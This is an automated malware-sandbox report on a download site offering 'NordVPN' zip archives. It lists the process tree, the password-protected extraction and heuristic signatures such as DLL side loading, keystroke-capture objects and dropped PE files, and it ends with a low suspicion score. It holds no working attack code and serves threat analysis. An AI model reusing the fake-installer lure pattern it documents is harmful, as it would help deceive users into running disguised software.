Edit tour

Windows Analysis Report
https://vpn-get.com/nordvpn

Overview

General Information

Sample URL:	https://vpn-get.com/nordvpn
Analysis ID:	756292
Infos:

Detection

Score:	25
Range:	0 - 100
Whitelisted:	false
Confidence:	60%

Signatures

DLL side loading technique detected

Creates a DirectInput object (often for capturing keystrokes)

Drops files with a non-matching file extension (content does not match file extension)

PE file does not import any functions

PE file contains strange resources

Drops PE files

PE file contains sections with non-standard names

Binary contains a suspicious time stamp

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Creates a process in suspended mode (likely to inject code)

Classification

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample searches for specific file, try point organization specific fake files to the analysis machine

Process Tree

System is w10x64

chrome.exe (PID: 4664 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 3576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1816,i,5108959396523626248,12215149392874120257,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

unarchiver.exe (PID: 1032 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-10_11.zip MD5: B89F9ADB5A6E465B6EB4575913CD2687)

7za.exe (PID: 5496 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\boe55dv2.gbx" "C:\Users\user\Downloads\NordVPN-10_11.zip MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

unarchiver.exe (PID: 2756 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-7_8.zip MD5: B89F9ADB5A6E465B6EB4575913CD2687)

7za.exe (PID: 5664 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l" "C:\Users\user\Downloads\NordVPN-7_8.zip MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 1248 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://vpn-get.com/nordvpn MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source:	Binary string: C:\ahpwc\mc\mc_adobe_sdk_dbginfo_win64_x64_release\mc_config_mp2v.pdb! source: mc_config_mp2v.dll.9.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u101\7261\build\windows-i586\jdk\objs\liblcms\lcms.pdb source: lcms.dll.6.dr
Source:	Binary string: C:\ahpwc\mc\mc_adobe_sdk_dbginfo_win64_x64_release\mc_dec_spic.pdb source: mc_dec_spic.dll0.6.dr
Source:	Binary string: libGLESv2.dll.pdb`1-p1- source: libGLESv2.dll.6.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u101\7261\build\windows-i586\jdk\objs\libinstrument\instrument.pdb source: instrument.dll.6.dr
Source:	Binary string: msvcp120.i386.pdb source: msvcp120.dll.6.dr
Source:	Binary string: C:\h\workspace\MXF_SDK\LICENSE\MOG_PAY_VERSION\label\vs100_x64\stage\bin\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.pdb source: MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll0.6.dr, MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll.6.dr
Source:	Binary string: adbeape.pdb source: adbeape.dll.6.dr, adbeape.dll0.6.dr
Source:	Binary string: D:\Projects\WinRAR\build\winrar32\Release\WinRAR.pdb source: WinRAR.exe.6.dr
Source:	Binary string: libGLESv2.dll.pdb source: libGLESv2.dll.6.dr
Source:	Binary string: C:\h\workspace\MXF_SDK_Modules\LICENSE\MOG_PAY_VERSION\label\vs100_x64\stage\bin\MXF_SDK_Modules_DataIO_1.4.22_vs10.pdb source: MXF_SDK_Modules_DataIO_1.4.22_vs10.dll.9.dr
Source:	Binary string: C:\ahpwc\mc\mc_adobe_sdk_dbginfo_win64_x64_release\mc_config_mp2v.pdb source: mc_config_mp2v.dll.9.dr
Source:	Binary string: C:\Code\BUILD\channels\Surface\Release\Surface.pdb source: Surface.dll.6.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u101\7261\build\windows-i586\jdk\objs\liblcms\lcms.pdb* source: lcms.dll.6.dr
Source:	Binary string: C:\Code\BUILD\channels\Win32_Font\Release\Win32_Font.pdb source: Win32_Font.dll.6.dr
Source:	Binary string: DL100AGM.pdb source: DL100AGM.dll0.6.dr

Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo	Jump to behavior

Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/1085
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/1452
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/1452expand_integer_pow_expressionsThe
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/1512
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/1637
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/1936
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2046
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2152
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2152skip_vs_constant_register_zeroIn
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2273
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2514
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2703
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2727
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2970
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/2978
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3016
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3027
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3045
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3078
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3153
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3205
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3206
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3243
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3246
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3246allow_clear_for_robust_resource_initSome
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3452
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3498
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3502
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3623
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3624
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3625
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3729
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3859
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/3997
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4214
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4267
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4384
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4405
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4428
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4442
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/4490
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://anglebug.com/482
Source: adbeape.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: adbeape.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/110263
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/308366
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/398694
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/398694ANGLE_DEFAULT_PLATFORMvulkanvulkan-nullswiftshadergld3d11nullGPU.ANGLE.Displa
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/403957
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/565179
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/642227
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/642605
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/644669
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/650547
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/672380
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/709351
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/772651
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/797243
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/809422
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/830046
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/849576
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/883276
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/927470
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/941620
Source: libGLESv2.dll.6.dr	String found in binary or memory: http://crbug.com/941620dont_translate_uniform_block_to_structured_bufferFails
Source: WinRAR.exe.6.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: WinRAR.exe.6.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: 7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: adbeape.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: adbeape.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: adbeape.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: adbeape.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: fxplugins.dll.6.dr	String found in binary or memory: http://javafx.com/
Source: fxplugins.dll.6.dr	String found in binary or memory: http://javafx.com/vp6decoderflvdemux
Source: WinRAR.exe.6.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: adbeape.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: adbeape.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: 7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: adbeape.dll0.6.dr	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr	String found in binary or memory: http://s.symcd.com06
Source: adbeape.dll0.6.dr	String found in binary or memory: http://s.symcd.com0_
Source: lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://s2.symcb.com0
Source: mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: lcms.dll.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://sv.symcd.com0&
Source: adbeape.dll0.6.dr	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: adbeape.dll0.6.dr	String found in binary or memory: http://sw.symcd.com0
Source: adbeape.dll0.6.dr	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, DL100AGM.dll0.6.dr	String found in binary or memory: http://www.datalogics.com
Source: adbeape.dll.6.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: WinRAR.exe.6.dr	String found in binary or memory: http://www.rarlab.com
Source: WinRAR.exe.6.dr	String found in binary or memory: http://www.rarlab.com/themes.htm
Source: lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/1046462
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/593024
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/593024select_view_in_geometry_shaderThe
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/650547
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/650547call_clear_twiceUsing
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/655534
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/655534use_system_memory_for_constant_buffersCopying
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/705865
Source: libGLESv2.dll.6.dr	String found in binary or memory: https://crbug.com/710443
Source: lcms.dll.6.dr, WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: adbeape.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: adbeape.dll0.6.dr	String found in binary or memory: https://d.symcb.com/rpa0)
Source: WinRAR.exe.6.dr, adbeape.dll.6.dr, adbeape.dll0.6.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: adbeape.dll.6.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: DL100AGM.dll0.6.dr

Binary or memory string: DirectDrawCreateEx

Source: setup64.dll.6.dr	Static PE information: No import functions for PE file found
Source: mfc100chs.dll0.6.dr	Static PE information: No import functions for PE file found
Source: mfc100cht.dll.6.dr	Static PE information: No import functions for PE file found
Source: mfc100cht.dll0.6.dr	Static PE information: No import functions for PE file found
Source: mfc100chs.dll.6.dr	Static PE information: No import functions for PE file found

Source: DL100AGM.dll.6.dr

Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary

Source: DL100AGM.dll.6.dr	Static PE information: Resource name: RT_VERSION type: TTComp archive data, binary, 4K dictionary
Source: mc_demux_dv.dll.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: mfc100chs.dll0.6.dr	Static PE information: Section .rsrc
Source: mfc100cht.dll.6.dr	Static PE information: Section .rsrc
Source: mfc100cht.dll0.6.dr	Static PE information: Section .rsrc
Source: mfc100chs.dll.6.dr	Static PE information: Section .rsrc

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll			Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1816,i,5108959396523626248,12215149392874120257,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://vpn-get.com/nordvpn
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-10_11.zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\boe55dv2.gbx" "C:\Users\user\Downloads\NordVPN-10_11.zip
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-7_8.zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l" "C:\Users\user\Downloads\NordVPN-7_8.zip
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1816,i,5108959396523626248,12215149392874120257,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-10_11.zip	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\NordVPN-7_8.zip	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\boe55dv2.gbx" "C:\Users\user\Downloads\NordVPN-10_11.zip	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l" "C:\Users\user\Downloads\NordVPN-7_8.zip	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5720:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7032:120:WilError_01

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\5106b089-c5d4-4c97-b3c3-a943e1aca1aa.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: classification engine

Classification label: sus25.evad.win@43/220@0/17

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source:	Binary string: C:\ahpwc\mc\mc_adobe_sdk_dbginfo_win64_x64_release\mc_config_mp2v.pdb! source: mc_config_mp2v.dll.9.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u101\7261\build\windows-i586\jdk\objs\liblcms\lcms.pdb source: lcms.dll.6.dr
Source:	Binary string: C:\ahpwc\mc\mc_adobe_sdk_dbginfo_win64_x64_release\mc_dec_spic.pdb source: mc_dec_spic.dll0.6.dr
Source:	Binary string: libGLESv2.dll.pdb`1-p1- source: libGLESv2.dll.6.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u101\7261\build\windows-i586\jdk\objs\libinstrument\instrument.pdb source: instrument.dll.6.dr
Source:	Binary string: msvcp120.i386.pdb source: msvcp120.dll.6.dr
Source:	Binary string: C:\h\workspace\MXF_SDK\LICENSE\MOG_PAY_VERSION\label\vs100_x64\stage\bin\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.pdb source: MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll0.6.dr, MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll.6.dr
Source:	Binary string: adbeape.pdb source: adbeape.dll.6.dr, adbeape.dll0.6.dr
